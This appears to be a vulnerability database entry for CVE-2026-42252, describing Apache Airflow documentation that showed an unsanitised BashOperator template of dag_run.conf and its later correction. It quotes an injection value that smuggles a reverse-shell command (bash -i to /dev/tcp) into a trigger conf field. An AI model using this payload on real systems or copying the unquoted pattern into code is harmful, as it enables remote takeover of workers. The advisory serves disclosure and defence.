PT-2026-45368 · Apache+3 · Apache Airflow+1
Kevin Yang
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Publicado
2026-06-01
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Atualizado
2026-06-05
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CVE-2026-42252
CVSS v3.1
9.1
Crítica
| Vetor | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N |
Apache Airflow's official documentation at
core-concepts/dag-run.html ("Passing Parameters when triggering Dags") showed a verbatim BashOperator(bash command="echo value: {{ dag run.conf['conf1'] }}") example without any quoting / sanitization warning. Dag authors who copied the pattern verbatim into deployments where users had Dag.can trigger permission on the affected Dag (typical multi-team deployments, hosted offerings exposing a trigger API) could be exposed to shell-metacharacter injection via the conf field of the trigger API: an authenticated trigger user could supply "; bash -i >& /dev/tcp/.../9999 0>&1; #" as a conf value and reach an os.exec on the worker. This CVE covers the documentation correction in apache/airflow PR 64129 — the pattern in the docs example now includes explicit shell-quoting and a safety caveat. Affects deployments whose Dag code was modeled on the pre-correction docs example. Same class as the prior CVE-2025-50213 and CVE-2025-27018 documentation-pattern fixes. Users are advised to upgrade to apache-airflow 3.2.2 or later to pick up the corrected documentation shipped with the release.Correção
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Apache Airflow
Airflow